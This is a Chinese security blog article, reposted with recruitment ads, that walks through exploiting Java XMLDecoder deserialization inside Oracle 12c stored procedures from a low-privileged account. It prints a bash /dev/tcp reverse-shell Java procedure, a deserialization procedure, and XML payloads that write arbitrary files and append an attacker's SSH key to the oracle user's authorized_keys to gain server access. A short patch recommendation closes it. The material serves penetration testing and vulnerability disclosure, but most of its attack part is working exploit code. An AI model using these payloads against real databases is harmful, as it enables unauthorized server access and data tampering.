Oracle数据库安全思考之xml反序列化

admin 2022年5月8日14:23:10安全文章评论3 views6999字阅读23分19秒阅读模式

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


No.2

前言

在测试过程中,碰到oracle数据库,只发现存在一个低权限用户dm,由于权限不足无法进一步获取关键数据,同时无法进一步获取系统权限。

主机场景:
运行服务器:centos 6.5数据库版本:Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production
低权限用户:TESTER
能够访问SQLPLUS终端,也可以使用PL/SQL工具连接。

XML反序列化

XML反序列化,可以描述一个Java Object,以及用来构建Object时所需要调用的方法和相关参数。在Oracle中,使用XMLDecoder类重新组装XML序列化后的对象,而在组装过程中所调用的对象方法,没有被Oracle JVM限制权限。因此,可以使用XML反序列化构建一个FileWriter对象,并调用其write方法,就可以实现文件写入操作。


No.3

Java存储过程

Oracle企业版在数据库中嵌入了Java虚拟机,Oracle数据库通过Java存储过程支持Java的本机执行,存储过程是发布到SQL并存储在数据库中以供一般使用的Java方法。调用存储过程

Oracle数据库安全思考之xml反序列化

在互通性上面,Oracle数据库中的Java完全符合Java语言规范(JLS),并提供了通用的,面向对象的编程语言的所有优点。另外,与PL/SQL一样,Java提供对Oracle数据的完全访问权限。结果,任何用PL/SQL编写的过程也可以用Java编写。

No4

通过SQL终端查询java版本

create function get_java_property(prop in varchar2) return varchar2 is language java name 'java.name.System.getProperty(java.lang.String) return java.lang.String';

Oracle数据库安全思考之xml反序列化


No.5

JVM的基本保护

SET scan off

create or replace and compile java source named ReverseShell asimport java.io.*;
public class ReverseShell{
  public static void getConnection(String ip, String port) throws InterruptedException, IOException{
     Runtime r = Runtime.getRuntime();
     Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"});      System.out.println(p.toString());
     p.waitFor();
  }
}/create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2)
IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)';

由于Oracle JVM实现了基于细粒度策略的安全性来控制对OS和文件系统的访问,因此该方法将不起作用。从低权限帐户执行此过程会导致错误。

Oracle数据库安全思考之xml反序列化

请注意,错误堆栈包含缺少权限和必要的命令才能授予访问权限ORA-29532:Java call terminated by uncaught Java exception


No.6

XML反序列化带来的问题

XML反序列化Java中存在XML序列化和反序列化功能,以支持使用标准化格式(在本例中为XML)的跨平台信息交换。为此,java.beans库包含两个类:XMLEncoder和XMLDecoder,它们用于将Java对象序列化为XML格式,并在以后反序列化该对象。
典型的反序列化漏洞依赖于接受和反序列化任意输入的服务的存在。但是,如果有权访问可以在用户架构中创建对象的低特权Oracle帐户(具有连接和资源的用户),则可以创建反序列化存储过程。例如:创建一个账号TESTER,只拥有CONNECT、RESOURCE权限。

Oracle数据库安全思考之xml反序列化

创建了以下Java类“ DecodeMe”和一个调用该类的Java存储过程:

create or replace and compile java source named DecodeMe asimport java.io.*;import java.beans.*;public class DecodeMe{    public static void input(String xml) throws InterruptedException, IOException {

     XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));      Object object = decoder.readObject();      System.out.println(object.toString());
     decoder.close();      

   }
}
;
/CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS
   language java name 'DecodeMe.input(java.lang.String)';
/

Oracle数据库安全思考之xml反序列化

该解码程序将接受XML编码的Java的任意字符串,并执行所提供的指令。可在此处找到有关序列化XML的正确格式的信息。该块将简单地调用println将数据输出到终端。

BEGIN
decodeme('<?xml version="1.0" encoding="UTF-8" ?><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.lang.System" field="out"> <void method="println"><string>This is test output to the console</string></void></object></java>');
END;
/

Oracle数据库安全思考之xml反序列化

反序列化过程将会绕过JVM权限设置,并允许用户在OS上任意写入文件。请参见以下示例脚本:

BEGIN
  decodeme('
               <java class="java.beans.XMLDecoder" version="1.4.0" >
                  <object class="java.io.FileWriter">
                     <string>/tmp/test.txt </string>
                     <boolean>True</boolean>
                     <void method="write">
                        <string>test</string>
                     </void>
                     <void method="close" />
                  </object>
               </java>');END;
/

执行上述脚本将在/tmp文件夹中创建一个名为“test.txt”的文件:

Oracle数据库安全思考之xml反序列化
Oracle数据库安全思考之xml反序列化

因此,通过反序列化,可以绕过内置的安全限制将任意文件写入文件系统。
事实证明,不仅可以将新文件写入系统,还可以覆盖或附加Oracle用户具有写许可权的任何文件。

显然,这会对数据库产生严重影响,因为攻击者可能会覆盖关键文件(包括控制文件),这可能会导致成功的拒绝服务攻击或数据损坏。
但是,通过精心设计的有效payload(pl/sql脚本),使用此反序列化攻击以Oracle用户的身份访问服务器。

假设SSH在服务器上打开并配置为接受RSA连接,则以下有效负载会将RSA令牌附加到管理数据库进程的Oracle帐户中。
开始认证密钥:

EGIN
   decodeme('
                       <java class="java.beans.XMLDecoder" version="1.4.0">
                               <object class="java.io.FileWriter">
                                        <string>/home/oracle/.ssh/authorized_keys</string>
     <boolean>True</boolean>
                               <void method="write">
                                        <string>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCedKQPeoJ1UeJEW6ZVkiuWAxBKW8F4fc0VrWxR5HEgaAcVodhgc6X7klyOWrJceGqICcCZd6K+/lvI3xaE2scJpRZWlcJQNCoZMRfmlhibq9IWMH0dm5LqL3QMqrXzZ+a2dfNohSdSmLDTaFHkzOGKEQIwHCv/e4e/eKnm0fUWHeL0k4KuCn3MQUN1HwoqoCciR0DrBDOYAKHxqpBv9rDneCdvaS+tqlr5eShjNlHv1YzJGb0lZZlsny19is8CkhcZ6+O+UCKoBPrxaGsfipsEIH5aPu9xVA90Xgsakhg4yoy9FLnES+xmnVxKX5GHyixi3qeWGDwBsAvhAAGLxOc5 </string>
                               </void>
                               <void method="close" />
                               </object>
                       </java>                        ');END;
/

执行后,该代码会将任意RSA密钥附加到Oracle用户的authenticated_keys文件中,以Oracle用户的身份授予对SSH的攻击。

Oracle数据库安全思考之xml反序列化
Oracle数据库安全思考之xml反序列化

Oracle用户可以以SYS身份访问数据库,进而管理整个数据库。

Oracle数据库安全思考之xml反序列化


No.7

修复意见

建议升级补丁版本:12.2.0.1.180717(p27923353_122010_Linux-x86-64.zip)


No.8

招聘启事

雷神众测SRC运营(实习生)
————————

工作地点:杭州(总部)、广州、成都、上海、北京

【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。



雷神众测白帽运营(实习生)

————————

工作地点:杭州(总部)、广州、成都、上海、北京

【岗位职责】

1.准确了解白帽子爱好,发掘白帽子需求

2.负责各类周边、礼物的挑选与采购

3.对黑客文化有深刻认知

4.维护白帽关系


【任职要求】

1.具有良好的审美眼光

2.具备定制礼品礼物经验

3.较强的沟通以及协调能力

4.为人正直,具备良好的职业道德,能吃苦耐劳,具有良好的团队合作精神


【加分项】

1、具备美术功底、懂得设计美化等

2、有互联网运营经验


简历投递至 [email protected]

设计师

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽


简历投递至 [email protected]


安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:安服战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;


岗位:安全红队武器自动化攻城狮
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


简历投递至 [email protected]

安全服务工程师/渗透测试工程师


工作地点:新疆


1、掌握渗透测试原理和渗透测试流程,具备2年以上渗透测试工作经验,能够独立完成渗透测试方案和测试报告;
2、熟悉风险评估、安全评估;
3、熟练掌握各类渗透工具,如Sqlmap、Burpsuite、AWVS、Appscan、Nmap、Metasploit、Kali等;
4、熟练掌握Web渗透手法,如SQL注入、XSS、文件上传等攻击技术;
5、至少熟悉一种编程语言(php/java/python),能够独立编写poc者优先;
6、具有良好的沟通能力和文档编写能力,动手能力强;
7、对工作有热情,耐心、责任心强,具备沟通能力和良好的团队意识;
8、加分项:有安全开发经验/可进行代码审计工作;
9、加分项:有安全和网络相关证书,如CISSP、CISA、CISP 、CCNP、CCIE等认证者;
岗位职责:
1、参与安全服务项目实施,其中包括渗透测试与安全评估,代码审计,安全培训,应急响应;
2、独立完成安全服务项目报告编写,输出安全服务实施报告;


简历投递至 [email protected]

Oracle数据库安全思考之xml反序列化

专注渗透测试技术

全球最新网络攻击技术


END

Oracle数据库安全思考之xml反序列化


原文始发于微信公众号(白帽子):Oracle数据库安全思考之xml反序列化

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月8日14:23:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Oracle数据库安全思考之xml反序列化 http://cn-sec.com/archives/978663.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: